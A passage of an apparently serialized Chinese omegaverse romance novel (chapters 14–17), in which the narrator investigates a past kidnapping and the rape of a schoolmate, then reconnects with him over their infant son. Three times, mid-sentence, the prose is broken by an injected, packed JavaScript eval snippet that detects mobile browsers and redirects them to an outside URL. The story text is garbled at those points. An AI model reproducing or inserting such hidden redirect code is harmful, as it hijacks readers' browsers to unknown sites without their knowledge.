七八年前的绑架。 那会苏以安还未成年。 换个思路想想,也许他可以报警然后盯着是谁不让查这码事? 14. 第 14 章 谢不辞看了眼手机上的日期,算了算时间觉得他爸应该还在公司加班,于是放心的发骚扰信息过去。 [如果我想查一个可能跟您身份地位差不了太多您也许认识的人,我现在做点什么才能保证查完了不挨打?] 他一点都没猜错,他爸这个时间确实还没睡,给他秒回了一个问号,然后问他要查谁。 谢不辞:[不知道要查谁,据说是跟我有关还挺上不得台面的,有老板捂着不让查。] 他爸:[不让查就拉倒,你现在就挺欠揍的。] 人有的时候要是不挨家里两顿骂,挺浑身不得劲的。 因为目前对要查什么没什么具体想法,谢不辞也没再跟他爸继续掰扯这个问题,把外套脱下来盖在自己和孩子身上,告诉方明之有事喊他,就缩在沙发上闭上眼睛。 昨天的退烧药效果挺好的。 第二天谢不辞是被方明之带早饭回来的关门声吵醒的。 他先是爬起来进卧室伸手试了试苏以安额头的温度,见正常多了才悄悄放心了些,简单打了个招呼就带着雪团回了对门。 当老板就这么一点好,不用在乎上班会不会迟到。 谢不辞把自己和孩子都收拾好就已经过了正常上班点一个多小时了,他不紧不慢的把车从车库开出来,然后往分公司走。 分公司这几天业绩很好,有事干时间过得也很快。 谢不辞本来计划今天下了班喊上蒋泽去酒吧打听打听之前有人造谣苏以安的时候说的到底都是什么内容,但转念一想,今天问和明天问好像也没什么区别。 早一天还是晚一天知道对他来说都没什么影响,毕竟前面根本不知道有这回事的时候也都就那么过去了。 重点是苏以安说不想住他对门,说不准今天早点回去还能趁着他搬家见到最后一面。 苏以安倔,这次真的让他走了下次估计就很难见到了。 可是谢不辞好像也没有立场挽留。 谢不辞抱着雪团乘电梯回家时,走廊里安安静静的,1501的大门紧闭,看不出有没有人进出过。 他在走廊站了一小会,直到走廊灯灭掉,孩子因为怕黑搂住他脖子,他才主动拉开自己家门。 自己一个人在家挺没意思的。 现在十一月初,这边的冬天干冷干冷的,也不知道到底什么时候才能盼来一场雪。 第二天谢不辞照常带着孩子去上班,只是这次下班以后把雪团送回了他妈手里,然后他开车直奔酒吧。 他专门在公司加了几个小时的班,到酒吧这会,正是最热闹的时候。 谢不辞推开酒吧大门,从闻到各种信息素的味道开始就眉头紧皱。 大概上次标记过苏以安以后有点戒断反应,他不清楚现在自己身上是不是还带着苏以安信息素的味道,但就是没由来的抗拒闻见别的omega的信息素。 以前不会这样。 因为以前跟谁玩都不至于疯到一晚上四五次,还毫不克制。 他径直走向顶层的包间。 然后一推门就有omega端着酒杯自然的挎上谢不辞的胳膊。 谢不辞不动声色的躲开,结果今天也不知道是谁在这包间里搞选秀局,打眼往里一看,围着一大群穿衣风格与信息素味道各异的服务生。 贴心到连beta都准备了。 “谁要来?” 谢不辞走到包间里面,环视了一圈,随后坐在最近的椅子上。 “那不是专门迎接你吗,我们特意把今天质量最高的服务生全包过来了呢。” 反驳的话甚至还没组织好,那些服务生就重新站到谢不辞面前,离得近还比较大胆的甚至有人已经坐到的谢不辞腿上。 他条件反射似的躲开站起来,但身后有人把这肢体动作理解成了他不喜欢刚才那一款,于是又有新人贴上来。 谢不辞又往后退了两步,抽出自己被握住的手:“那个……这不用你们陪了,都出去吧,换个包间。” 因为谢不辞以前是常客,话说到这份上依旧有人不信,站在原地看向包间内其他人。 直到听见蒋泽叫经理吧人带出去,才都跟着出去。 “怎么着?有什么我没吃到的大瓜?” “老谢怎么一副唐僧误入盘丝洞的样子?” 季文璟拿起刚开的酒给谢不辞倒了一杯,把酒杯推到他面前。 “你啥时候回来的?” 谢不辞看见他还有点意外。 季文璟高中毕业以后就出国留学,中间虽然断断续续的也跟谢不辞有联系,但没什么机会见面,这次也没听见一点他要回来的消息。 高中那会跟谢不辞关系最好的除了蒋泽就只剩一个季文璟了。 “回来你都不告诉我去接你啊?” “接不接的,现在不是也一样见吗。” 谢不辞端起他刚给倒的酒喝了一口,那呛得他眼泪把视线都模糊住了的辛辣感迫使他立马把嘴里的酒吐掉:“谁他妈又往我酒里兑芥末?!” “又?” 季文璟给他重新找个杯子倒了杯水,但谢不辞没马上接过去。 高中那会他追了苏以安很久,但因为对方拒绝得不留情面结了梁子,毕业以后,他俩都不是什么好玩意,就各玩各的。 偶尔撞见,也是互相看不顺眼一定得给对方使点绊子。 比如苏以安往他酒里挤芥末,他往苏以安老板座位上涂胶水这种,像小学生打架。 那阵子他俩天天一进酒吧就开始斗智斗勇,带着谁也别想玩踏实的架势。 然后苏以安刚走的前几个月,没人搭理谢不辞,他几乎就没有清醒的时候,连身边陪着他的脸长什么样都记不清楚就换人了,那会确实觉得很爽,但过不了俩月就厌倦了。 然后他开始找能稍微陪他久一点的,结果实践了一下,久一点的意思是三天。 越过越无聊,他也不是没趁着发酒疯去找过苏以安,但是没找到,他又觉得头低到主动给苏以安打电话就已经够了。 嘴太硬太好面子这缺点挺致命的。 谢不辞忽然意识到,他已经很久没喝过兑了芥末的酒了。 除了苏以安没人敢这么干,也只有苏以安在他身边不带任何讨好性质的,从单纯看不惯他发展成特殊的感情。 “老谢多了个儿子这是是不是没跟你发消息说过?” “就是前阵子苏以安给他生了个孩子,扔到了他家门口,那孩子还是我从走廊给推到谢不辞家里去的。” 蒋泽翘着二郎腿坐到谢不辞旁边,替他跟季文璟唠了两句。 “不是???等会的?” “你说孩子是谁给谢不辞生的?咱高中老谢追得轰轰烈烈的那个苏以安吗?” “嗯。” 季文璟要是没这么大反应,谢不辞还没想起来。 当初苏以安拒绝了他没多久,就传出了苏以安跟季文璟他爸睡过的谣言。 他们仨从小是一起长大的,谢不辞清楚季文璟的为人,问都没多问就选择了站在好兄弟这边。 那会季文璟找苏以安闹事之前谢不辞也听说了,不过活够谢不辞又感觉应该也没闹多大,因为季文璟专门跟他说过这种事不光彩他家出面让别乱说了。 就自己出国一趟哥们收到了一直不对付的同学给生的孩子这件事似乎需要消化好久,季文璟也没多问具体怎么回事,沉思许久才开口道:“那你有啥打算?这孩子不能弃养的吧?” “不能,但是他没想借孩子上位,也不是为了那孩子威胁我什么的。” “他前几天跟我说,他对我那么大意见是因为,我教唆人绑架他,我造他的谣。” “所以造谣这个,是不是因为当年传他跟你爸睡过?” 如果谢不辞没记错的话,他们仨还私下议论过,苏以安这样都没退学心理素质也不是一般人比得了的。 “我不知道我有没有冤枉他,但只闹过那一次。” “就上早自习之前在他宿舍楼底下那次,我当着好多人的面打了他一巴掌然后质问他。” “后面就没再提了,也专门说过不让在学校里乱说。” “毕竟我们家什么情况你俩也是清楚的。” 季文璟的omega爸爸是在联姻之前被逼婚的,因为他alpha爹在婚前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108234|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强行完全标记才奉子成婚。 他爹是个最典型的凤凰男,导致婚后他爸被家里抛弃郁郁成疾。 随后在他爸久病的这段时间里,他爹又频繁出轨。 就这么将就着过了十几年,他爸在季文璟高中的时候彻底疯掉,精神疾病严重到有的时候季文璟隔了两个礼拜回一次家,他爸都不认识他。 “高中那会,我爹接手了一个中小型企业,挣了点钱。” “但他这个人本性就不咋地,挣了钱以后玩得就更花。” “我没有亲眼见到我爹睡了苏以安,是我爸在我上学之前抱着我哭了一晚上跟我说的。” “可是现在回忆一下,那个时候他好像就已经有点妄想症了,只是没确诊我也没往那方面猜,所以苏以安这个……现在有点无从考究了,是不是真的你只能问当事人本人。” 季文璟说的全是实话。 也正是因为这些客观原因都存在,谢不辞才从来没考虑过这谣言的真假。 而且还觉得季文璟他爹这样的人都能睡了苏以安,自己睡不到就不服气。 “那如果是假的,苏以安是不是有点太委屈了?” 谢不辞斜靠在沙发上,跟蒋泽维持着同一个翘二郎腿的姿势,看向坐在他俩对面的季文璟。 “但是我爸记性挺差的呀,他闲的没事也不太可能记住苏以安的名字,咱们班他基本谁都不认识,也不见得就是假的。” “嘶……” 季文璟话说一半,好像自己也感觉到了有什么地方不对劲,停顿了一下又补充道:“妈的,这怎么细琢磨一下,真的假的都挺对不住苏以安的啊?” “我爹也不是啥好东西,要是真的,苏以安绝对是被强迫的。” “谣传的话,他没有靠山,那些谣言足够他在学校混得举步维艰。” …… 说到这份上,谢不辞一下子就理解了苏以安为什么讨厌他。 这不纯纯无妄之灾吗。 本来为了给自己爸爸治病把户口迁到没人看得起他的豪门就够委屈了,还遇上他们仨这样死缠烂打的傻逼。 谢不辞深吸一口气,从蒋泽手里抢了支烟过来点上,欲言又止了半天才朝季文璟挤出来一句:“你能告诉我你爹一般开房都去哪个酒店吗,我想查查记录。” “行,今天回去我给你打听打听。” 如果是强迫的话,那绑架好像也就解释得通了。 遇上季文璟之前,谢不辞本来以为当时绑架苏以安的是乔洛初来着。 不然也找不出苏以安对他那么大意见的解释。 “所以现在的状况是,苏以安不要孩子,也不拿孩子纠缠你,是吗?” 得到谢不辞的肯定答案以后,季文璟沉默了半天,才问出下一句:“孩子是你的,大人跟你没什么关系,那你干嘛整的好像服务生要吃了你似的?” 这话谢不辞组织了半天语言也不知道应该怎么回复。 其实谢不辞也不太好说,在苏以安说喜欢他的那几个月里,仔细回忆一下,可能他连出去玩都是想看看苏以安能用什么方法来给他捣乱。 他是喜欢苏以安的。 但他不信他俩这样睡到一起以后,说出来的喜欢还能是真的。 他那么好面子,绝对接受不了他信了苏以安说的,圈子里都知道他断了以前乱搞的人际关系以后,苏以安是骗他玩的。 那得比杀了谢不辞还让他难受。 “真喜欢啊?” “虽然孩子都有了,承认喜欢也没什么的,但是你觉得咱这有这样的前科,他能跟你谈吗?” alpha追老婆这种事传出去不丢人,而且谢不辞如果真的像表面上装出来的那样讨厌苏以安,干嘛还要打听这种陈年老瓜。 “喜欢。” “那你觉得我应该怎么办?” 旁边一直没说怎么出声的蒋泽适时开口道:“你怎么样都行,我们没有你了解苏以安,出的主意未必是适合你俩的。” “但是我觉得,当时苏以安被排挤是有拒绝你的原因在的,你只要不给他造成困扰,双方都有感情,把人追回来不就迟早的事吗。” 15. 第 15 章 蒋泽虽然也没怎么谈过恋爱,但谢不辞一直觉得他这人通透又靠谱,给的建议都极具参考价值。 谢不辞熄掉手中已经燃尽了的烟,给自己重新倒上酒。 酒杯都端到了嘴边,才想起好像忘了点什么。 妈的,不是说除了苏以安没人敢把这种损事干到他头上来吗,那现在就是苏以安前天还在发高烧,今天晚上就来酒吧乱玩了的意思呗? 谢不辞放下酒杯,掏出手机就给方明之打了电话过去,接通以后甚至连对方那句喂都没有耐心听,就直接开始质问。 “苏以安他不是前天还在发高烧吗,今天你就放他来酒吧?” 方明之显然是没料到他会打电话问这个,沉默几秒后毫不客气的骂回去:“别跟个疯狗一样逮谁咬谁。” “他昨天中午就已经出国了,他喝没喝酒你上哪知道去?” “怎么着?找来的小替身学得这么像,都让你问到我这了?” “你觉得是谁你就抓谁去呗,大半夜的别在我这犯病。” 他说完就挂了电话,一点都没给这头的人说下一句话的机会。 谢不辞想把电话重新打回去问问苏以安出国干什么,去了哪个国家之类的,结果第二个电话刚打出去就被秒挂。 …… 一看就是苏以安没少跟着方明之骂他这个孩子爹,不然方明之不会对他这么大意见。 就之前方明之不知道雪团爹是他的时候,跟他说话还客客气气的呢,现在开口就得骂他两句不说,挂他电话挂得那叫一个顺手。 “说什么了就把你电话挂了?” “来说出来让我俩听听热闹。” 蒋泽跟季文璟一人一句,那幸灾乐祸的表情是一点都没准备遮掩,季文璟甚至专门从谢不辞对面的沙发上起身,贴到谢不辞旁边去。 “说啊。” “你咋没急眼啊哥,以前有人这样挂你电话你得跟个炮仗似的冲出去跟人家干架。” 谢不辞扔下手机,也没显得有多不高兴:“那以前苏以安干这种事干得还少啊?” “像什么把我追人的花从玫瑰换成白菊。” “还有从我玩的比较好的床伴那要来了我手机密码,把我导师的通讯录备注改成他,干完缺德事就跑,让我打电话对着我导师骂了十分钟。” “你就当我脱敏了呗。” 酒吧本身就人多眼杂,他掏个菊花去撩人也够丢人的,而且被骂的导师正好是挂了谢不辞科的那最小心眼的那个。 这俩都战绩可查。 苏以安也很有分寸,不犯法,就是单纯膈应谢不辞一下子。 “那你咋回报回去的?” 季文璟知道谢不辞是吃不了亏的性格,记这么清楚肯定就是没少遭委屈,他不可能受窝囊气还就这么算了。 提起这个,谢不辞气势立马就弱下去了许多,支支吾吾道:“那不就……” “他给我酒里兑芥末那次,我把他朋友送他的那只泰迪剃成了穿毛靴子的无毛狗。” “换花的那次,我把他给方明之过生日那蛋糕换成了我定的黑巧蛋糕,蛋糕的奶油里专门掺了酱油……” 趁着谢不辞停顿的间隙,季文璟跨过他,探头朝蒋泽开口:“他俩两个岁数加起来比鞋码还大的成年人,怎么还整的跟小学生闹着玩似的?” “文璟哥,我听得见呢。” “哦我知道,我也没想背着你说。” 蒋泽把挡在他俩中间的谢不辞按回沙发靠背里,偏过头朝季文璟开口:“你觉得这听起来像不像他俩以前在当众调情?” “嘿你不说我还真没往那方面想。” 蒋泽完全不意外:“嗯,没往那方面想就对了,老谢肯定也跟你一样。” 谢不辞扒开蒋泽按着他的手,思索了半天才犹豫着开口问。 “所以你是说,那会在他的视角看,是以为我俩在调情吗?” “然后因为我跟他搞到一起,我还渣他,他才那么恨我?” 把这个理由一代入进去,谢不辞自己都觉得蒋泽说的好有道理,甚至之前好多他根本理解不了的苏以安的迷惑行为也在这个时候得到了合理的解释。 季文璟专门给谢不辞倒了杯酒过去,跟以前上学那会给他劝酒一样:“我们不站上帝视角,我们不知道。” 蒋泽也特别应景的跟端起旁边的杯子跟他碰了一下:“但是我们知道你短时间内不太可能把人追回来。” 谢不辞把手里那杯喝完,季文璟又拿着酒瓶准备重新给他满上。 “行了行了,先不喝了,我得去查查他跑哪国去了,万一见不到面了不就出师未捷身先死了吗。” 从知道苏以安回国了开始,谢不辞就没注意过他以前到底是在哪国待着,那会沈伊跟他说的时候他也没问过。 他重新找出手机,在通讯录里翻了一圈,也没想好电话应该打给谁。 蒋泽好心的提醒了一句:“这种需要调查什么的事情,交给你秘书就行了。” 谢不辞把通讯录的号码划过去,补充道:“秘书又不是许愿池里的王八。” 随后都没人说话的这几秒中里,剩下两人眼睁睁的看着谢不辞把电话打到了他爸秘书那里。 于是季文璟一本正经的发问:“你秘书不是许愿池里的王八,你爸的秘书就是了?” “那怎么能一概而论?” 谢不辞回应得理直气壮的:“我爸身边怎么可能留下废物呢?我就不一样了,我本身就是个废物。” 电话接通以后谢不辞把能想得起来的要查的东西都跟他爸的秘书交代了一遍,然后挂掉电话之前还重复了好几遍他很着急,一定要尽快给他结果。 想着什么都不玩,他们三个在酒吧里大眼瞪小眼似的干喝酒也没什么意思,谢不辞打了个招呼说下次等季文璟有时间以后他请客吃饭再好好聚一聚以后,就喊了代驾自己回了小区。 今天雪团跟着他妈,家里只有他自己,关了灯还显得有点冷清。 睡觉之前,谢不辞意外的收到了沈伊发来的消息。 可能是因为沈伊也不在国内,有点时间差,手机那头的人一点也没有大半夜可能会打扰人的自觉,消息一条接着一条的往外蹦。 [我在A国查到了当时苏以安的病例,加上之前看见过的咱们市的病例档案,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108235|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是全的。] [要不要,一百万一份。] [只限今天过时不候啊。] 谢不辞看了一眼手机里的余额,随后又看了好几遍沈伊发过来的消息,输入框里的字打了又删好几次,才言简意赅的回复了两个字:[没有。] 见那边都没出对方正在输入,谢不辞以为沈伊没看懂他想表达什么,就又补了一条过去:[没有一百万。] 这下沈伊秒回了一个问号。 紧接着传来文字消息:[这还是汉字吗谢经理?] 是不是的…… 他之前出去乱玩的时候,包这个包那个的,也没在乎花了多少钱,后面接了分公司以后自己挣了点就没管家里要过,但是挣的那点全让他妈忽悠走了。 那张油画比谢不辞楼下停车场那最值钱的车还贵了一倍多。 所以现在别说一百万了,十万都有点够呛。 养孩子也很费钱的。 苏以安带出来的小孩跟他本人一样娇气,听话是听话了,低于五千块钱一罐的奶粉都不喝。 那孩子都托付给谢不辞了,还能有虐待这么大点小孩不给喝奶粉的道理吗。 虽然那病例他也是真的想看。 谢不辞还没回复,沈伊就又发了新的消息过来。 [算了不跟你逗了,我这边查到的是,两年前苏以安被确诊了一种慢性肝病,然后他那个身体状况,不太适合做人流这种大手术。] [方明之跟我说,他那会精神状态也不太好,我不知道因为什么。] [后面等病好一点,他有咨询过怎么把孩子打掉,但是那会对他来说,把孩子打了比生下来更危险。] 这三条消息谢不辞不知道应该怎么抓重点。 肝不好可以喝酒吗? 本来就靠着烟酒解压,醉生梦死的逃避现实,那为了孩子把烟酒戒掉,苏以安会不会有那种偏激的自残自杀行为? 所以孩子也不是苏以安主动想生的对吗,这一年多他又自己经历了什么,钟家有没有再专门给他施压…… 谢不辞点了沈伊发过来的第一条消息,回复道:[具体是什么病?现在怎么样了?] [肝病治得差不多了,不会影响他正常生活。] [我是想问,怀孕的omega比平时更需要alpha的信息素,他怎么撑过去的。] 谢不辞捧着手机说不出话来。 他是真的迟钝,哪怕孩子都已经送到他手上了,沈伊要是不挑明了问他这个,他也想不到这方面。 他记得之前好像有人跟他说过,omega怀孕的时候需要的信息素是平常发情期的三倍。 那苏以安到底是怎么撑过来的? [如果没有信息素会怎么样?] 谢不辞不知道是他问得真的一句比一句小众还是沈伊完全不了解他们以前是什么相处模式,反正沈伊回他的,又是一个问号。 [前期可能会吐到脱水,中期情绪暴躁,极大概率因为信息素水平不稳定出现抑郁自杀倾向,后期因为孩子长大身子变重,耻骨疼到根本起不来床吧。] [临床没见过,我不好说。] 16. 第 16 章 这次的言外之意谢不辞听懂了。 别问,问就是很严重,临床没见过,保不准会不会死人。 他草草回了沈伊一句他去问问,就切到了方明之的聊天窗口。 消息没少发,但毕竟现在已经凌晨了,谁不回他都显得挺正常的。 谢不辞又按时差算了算A国的时间,觉得那边现在是白天,索性就勇敢一把给苏以安打了个电话过去。 他其实没觉得苏以安会接,但既然电话都打出去了,肯定心里也是悄悄期盼着能有万一的。 然后这万一就真让他盼到了。 铃声响了好几秒以后突然中断,紧接着听筒里就传来了苏以安的声音:“大半夜的你干啥?你不睡雪团也不睡?” 谢不辞一愣。 ……哦,原来没把他再拉黑是惦记着孩子呢。 觉得不回答他显得很不尊重他,谢不辞解释了一句雪团今天给他妈带,就开始问沈伊给他发完消息以后衍生出来的那一大串问题。 问得最多的就是为什么两年前生病还要三天两头的出去喝酒,然后就是为什么怀雪团的时候不告诉他,缺信息素这种几句话就能说清楚的问题又不会浪费多少时间。 等谢不辞说完,电话两头都陷入沉默。 良久谢不辞才听见苏以安重新开口:“我要是笑话你,显得我怪掉价的。” “你能别把人都当傻子么?不是你脑子只有核桃仁大就所有人都是这样的呢。” “我活着这么碍你事吗,就非得天天跟要死了一样?生病我就不能去医院是吧?我就非得碰上点什么都靠命硬撑过去?” 你别说,听苏以安这么一讲,谢不辞还觉得挺有道理的。 他居然没想到,苏以安那点犟种的劲只会用在他身上。 “啊那个……那你去干什么了?” 没听见回话,但谢不辞听见了电话那头按打火机点烟的声音,然后还有个陌生的男声在小声跟苏以安交流着什么。 就因为有其他陌生男人出现在了电话另一头,苏以安刚阴阳他的那点耐心也就被消磨得差不多了,再开口也是吃了枪药一样的语气:“你要是没正经事就别找我。” 这次谢不辞学聪明了,知道苏以安肯定要挂电话,就眼疾手快的抢在那头反应过来之前按下了屏幕上的挂断键。 然后因为没被挂电话沾沾自喜还没一分钟,谢不辞就蹭的一下从床上窜起来。 “他妈的他是不是背着我在国外跟哪个狗男人鬼混呢?” 他重新把手机捡回来,点开和蒋泽季文璟专门建起来的三人小群,发消息吐槽:[你们怎么处理老婆和别的狗男人鬼混这个问题?] 他们俩也好像专门蹲着群等谢不辞笑话一样,看见消息就秒回:[不道啊,没听说过,老师没教。] [不道啊,老婆没跑过,等下次跑了一定好好给你问问。] …… 就知道指望不上这俩玩意。 可能人有的时候也会带点良心,蒋泽还特别好心的给他出了个主意:[要我说的话,像你这种人死了嘴都是硬的的玩意,你不如指望你儿子,毕竟孩子是他生的,不可能一点感情都没有。] 觉得蒋泽说得也不是没有道理,谢不辞还专门思考了一下用孩子把人追回来的可能性有多大。 这一天接收到的信息有点多,导致这一晚上谢不辞都没睡着。 第二天一早他给他妈发消息过去说要接雪团一起上班,他妈只告诉他晚上再来,也没讲原因。 谢不辞自己一个人到公司,随后被同事盘问怎么今天没带孩子。 这种话题,很难不让人联想到老婆带着孩子跑了,扔下他一个人孤独终老。 以至于谢不辞今天处理工作都特别暴躁。 中午的时候,他爸的秘书给他送了一份挺厚的文件夹,告诉他基本能查得到的都查了,剩下的让他别多问了,再往下查也不会有什么结果。 谢不辞趁午休时间把文件整体都看了一遍。 苏以安是离开他以后直接去的A国,在那边找了个环境还算不错的小居民楼住,期间去医院的次数很多,基本隔一天跑一趟,病例没有医院内部人脉查不到。 然后就是重头戏了。 苏以安说的绑架,发生在八年前。 是他们班某个同学绑的,具体是谁不好查,绑苏以安是什么目的也无从考究,因为过得太久了。 但有一点很明确,苏以安被绑架的那天晚上,就是被季文璟他爹把人带走用强。 季文璟不知道有内情,听说以后第二天一早去宿舍楼下质问苏以安,因为当时围观的同学很多闹得沸沸扬扬的,以至于学校趋炎附势的公子哥都孤立苏以安。 从他爸秘书递过来的开房资料看,那会季文璟他爹就是人渣,专门玩十七八岁还是学生的omega。 谢不辞攥着资料的手因为用力,手背上的青筋异常明显,纸张也随着他的动作被搓出好几道明显的褶皱。 他当时,跟苏以安非睡不可的理由就是……为什么季文璟他爹能睡他就不可以。 他也算不得什么好东西。 谢不辞把文件发到了他们仨那小群里,想商量一下这事应该怎么处理。 只是季文璟还没说话,蒋泽就率先回复。 [你要查可以,查得到也是你有本事,但我不是早就跟你讲过了吗,没那么简单。] [上面有老板捂着。] 看见消息谢不辞也冷静了不少。 蒋泽跟他说的时候他就已经有心理准备了,只是不让他查他也不甘心。 他爸秘书也许不是查不出来哪个老板在替季文璟他爹遮掩,只是觉得这种事情他最好还是不要知道。 临他下班那会,季文璟也在群里回了消息,说得到这个结果一点也不意外,然后他也不知道他爹被谁罩着。 还劝谢不辞最好别冲动,等都查得差不多了再考虑怎么解决。 傍晚谢不辞回他们家那独栋别墅接孩子,刚推开门就看见他妈翘着二郎腿坐在沙发上专门等他。 他还没开口,他妈就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108236|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接提了要求:“别杵着,去给我炒俩菜。” 谢不辞没接话,皱着眉走进厨房,发现厨房里干干净净,什么都没准备,连菜都得他自己去冰箱里找。 他沉默着找好食材,用生疏的手法把菜切成大小不一的块,然后纠结了一下倒不倒油。 谢不辞往门外看了一眼,见他妈在沙发上跟孩子玩得正好,保姆这个时间也不在,索性就选择了闭嘴,遇到不知道该怎么做的都自己去网上搜教程。 于是一个小时以后,饭桌上多了四盘勉强看得出是什么食材的糊锅茬子。 谢夫人坐到饭桌上,拿着筷子盯着面前的盘子看了好几秒,在终于确定了真的一点下筷子的空间都没有以后决定放弃。 随后开门见山的朝谢不辞开口:“你知道上次晚宴你把苏以安带走以后,圈里都是怎么议论咱们家的吗。” “行了你不用说了,你不知道。” 这问题谢不辞没思考过,但多多少少也能猜到一些。 他几乎不会做饭,从他妈让他过来炒俩菜开始他就知道自己今天是挨说来的。 “说你们俩破锅配烂盖,说本来就跟钟家不对付,钟家整这么一出保不齐苏以安就是故意的,你爸肯定得气得脸都绿了。” “说咱们家好几代人积累下来的财富,就毁在你这么个玩意上了,咱家的老脸都要被你丢光了。” “没一句好听的。” 谢不辞低着头不敢看他妈。 他自己被圈子里怎么议论都没关系,他也不太在乎,但是父母一把年纪还被戳脊梁骨,才最让他觉得愧疚。 “我没有指责你的意思。” “使唤你爸的人使唤得挺顺手的吧?查到了什么我也看了。” “我们认下了这就是我们教子无方才犯下的大错,在你查出这些东西之前。” “因为知道苏以安过得挺惨的,你也确实不是什么好东西,人家生孩子已经很不容易了。” “所以我今天把话给你放这,你要是敢嘴硬再给人家小苏造成第三次或者第四次伤害。” 谢夫人掰着谢不辞的脑袋强迫他往厨房那边看,然后指着面板上那多出来的擀面杖继续说道:“我就让你知道什么叫棍棒底下出孝子。” 话说得差不多了,谢夫人把雪团从沙发上抱过来塞进谢不辞怀里,临离开之前又表情复杂的看了桌上那四盘糊碴子好几眼:“你自己整出来的东西,你自己吃完。” “敢浪费断你这个月零花钱。” 谢不辞:…… 他低头看了看手里拿着小玩具在他面前晃的孩子,又看了看自己那自己炒出来的菜,觉得应该为了孩子下个礼拜的奶粉钱勉强低个头,于是拿起了桌上他妈放下的筷子。 从盘子里挑了一块看起来最像能吃东西的胡萝卜尝了一口,然后立马吐掉,抱着孩子拔腿就跑。 到了车上以后谢不辞才看着咿咿呀呀想跟他说点什么的雪团开口:“你先别急,肯定饿不着你。” “奶粉钱的事……我再替你想想办法。” 17. 第 17 章 谢不辞从网上查了一大堆育儿经之类的东西,还下载了上百个教孩子说话的视频。 现在十一月初,按生日算的话,他家孩子已经七个月大了。 网上说小孩一般都是一岁左右才会说话,谢不辞没信,可能是亲爹滤镜八百米厚,他就觉得他家雪团是全世界最聪明的小孩。 在给孩子冲了奶粉,换好睡衣又洗了把脸以后,谢不辞才拿着ipad把之前下载的视频找出来。 准备工作都做得这么充分了,也该学点习了。 不然还有六千多天就要高考了,孩子不学习就睡不踏实可怎么办。 谢不辞专门顺走了雪团一直握着的小玩具,扶着孩子端端正正的坐在ipad前,一边放视频一边一本正经的给教学着什么。 然而孩子只是懵懵懂懂的看着他,在他觉得学得不认真的时候,伸手把支在面前的ipad扣过去。 “……” 如果谢不辞没猜错的话,这应该是苏以安惯用的,不爱听就不让你说环节的行为暗示。 本着视频不只有一个,也许换一条孩子就喜欢了的原则,谢不辞把上一个关掉又重新点开了一个。 然后雪团眨巴着眼睛看了看谢不辞,学着他刚才的样子在屏幕上点了点。 于是在谢不辞视线没离开过孩子和屏幕的情况下,他眼看着孩子把摸索着把视频关掉。 雪团还小心翼翼的观察了下谢不辞的神情,见没有凶他的意思,又在屏幕上扒拉了几下,最后点开了谢不辞有些日子没打开过了的游戏。 “……好了我知道你不是学习那块料了。” 谢不辞给ipad锁了屏,握住雪团啃了半天的那只手,从床头柜上抽出卫生纸把他手上的口水擦干净:“明儿我给你整二两。” “然后告诉你爸,好习惯要从小培养。” “你长大以后咱们仨就对着喝,等你觉得把我俩喝得差不多了,喜欢谁你就说话,咱打晕了娶回来。” “虽然你爹没本事给你平事,但是你爷爷的名号在圈子里好使啊。” 想着反正孩子也听不懂,谢不辞就嘴上也没一点把门的:“还有抽烟喝酒摇骰子这种事,那用别人教吗,我跟你爸言传身教。” “教完了你爸就跟我不共戴天,他得给我两巴掌。” 可能孩子还小,听人说话只能提取关键词。 他刚说了一大堆,雪团就像只听见了给我一巴掌这几个字一样,紧接着伸出肉乎乎的小手,在谢不辞脸上拍了一下。 完事还跟等着表扬一样,也含糊不清的说着他不太能听懂的话。 谢不辞深吸了好几口气,才努力的把脏话都咽回去:“来你告诉我是谁这么恶毒,现在就开始教你要手撕渣男了。” “不愧是我儿子,真有前途。” 他还想再说点什么,但从说话的间隙中隐隐约约听到了门外有拖拽什么东西的声音。 他们这栋楼一梯两户,那走廊只和1501共用,之前方明之说苏以安去了A国,感觉走得很匆忙,谢不辞一直没法确定人到底搬走了没有。 已知苏以安是前天走的,对门的房主买这套房主要目的也不是为了租赁,所以在两天时间里让新租户搬进来也不太现实。 那现在走廊里传出动静,就只可能是苏以安又回来了一趟。 谢不辞没有一点犹豫,抱起孩子就推门出去。 上次苏以安生病不太清醒的时候也没有抗拒抱孩子,说明对自己的孩子也很有感情。 带上孩子可以减少挨骂概率。 推开门以后,谢不辞看见好几个包被堆在电梯门口,大小不一,里面装的东西形状也不规则,像是什么架子。 苏以安背对着他,按1501的门锁密码。 他听见开门声,还特意回头看了一眼。 有那一瞬间的眼神交汇以后,谢不辞特别会来事的把雪团塞进苏以安怀里,开口道:“搬东西这样的事情可以交给现成的alpha,你这小身板还是别操这种心了。” 苏以安一点都没跟他客气,抱着孩子进门,然后语气平静的给他扔下一句:“放阳台。” 